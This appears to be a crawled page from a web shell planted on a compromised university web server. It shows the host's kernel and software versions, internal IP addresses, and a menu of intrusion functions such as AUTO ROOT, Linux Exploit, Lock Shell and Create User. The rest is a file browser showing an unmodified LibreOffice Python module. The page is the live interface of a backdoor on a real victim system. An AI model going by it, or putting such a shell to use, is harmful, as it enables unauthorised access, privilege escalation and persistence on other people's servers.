Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
libreoffice /
program /
wizards /
common /
[ HOME SHELL ]
Name
Size
Permission
Action
ConfigGroup.py
2.16
KB
-rw-r--r--
ConfigSet.py
2.67
KB
-rw-r--r--
Configuration.py
2.36
KB
-rw-r--r--
Desktop.py
3.14
KB
-rw-r--r--
FileAccess.py
7.28
KB
-rw-r--r--
HelpIds.py
36.14
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
IRenderer.py
1.04
KB
-rw-r--r--
ListModel.py
1.08
KB
-rw-r--r--
NoValidPathException.py
1.6
KB
-rw-r--r--
NumberFormatter.py
3.19
KB
-rw-r--r--
Properties.py
1.97
KB
-rw-r--r--
PropertyNames.py
1.31
KB
-rw-r--r--
strings.hrc
28.62
KB
-rw-r--r--
SystemDialog.py
6.44
KB
-rw-r--r--
UCB.py
5.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ConfigSet.py
# # This file is part of the LibreOffice project. # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # # This file incorporates work covered by the following license notice: # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed # with this work for additional information regarding copyright # ownership. The ASF licenses this file to you under the Apache # License, Version 2.0 (the "License"); you may not use this file # except in compliance with the License. You may obtain a copy of # the License at http://www.apache.org/licenses/LICENSE-2.0 . # import traceback from .ConfigGroup import ConfigGroup class ConfigSet(ConfigGroup): ''' After reading the configuration set items, the ConfigSet checks this field. If it is true, it will remove any nulls from the vector. subclasses can change this field in the constructor to avoid this "deletion" of nulls. ''' def __init__(self, childType): self.childType = childType self.childrenList = [] self.childrenListLen = 0 def writeConfiguration(self, configurationView, param): for i in range(self.childrenListLen): #remove previous configuration configurationView.removeByName(i) for index,item in enumerate(self.childrenList): try: childView = configurationView.createInstance() configurationView.insertByName(index, childView) if callable( self.childType ): topic = self.childType() topic.cp_Index = item[0].Value topic.cp_Topic = item[1].Value topic.cp_Responsible = item[2].Value topic.cp_Time = item[3].Value topic.writeConfiguration(childView, param) except Exception: traceback.print_exc() def readConfiguration(self, configurationView, param): #each iteration represents a Topic row names = configurationView.ElementNames if names: for i in names: try: if callable( self.childType ): topic = self.childType() topic.readConfiguration( configurationView.getByName(i), param) self.childrenList.append(topic) except Exception: traceback.print_exc() self.childrenListLen = len(self.childrenList)
Close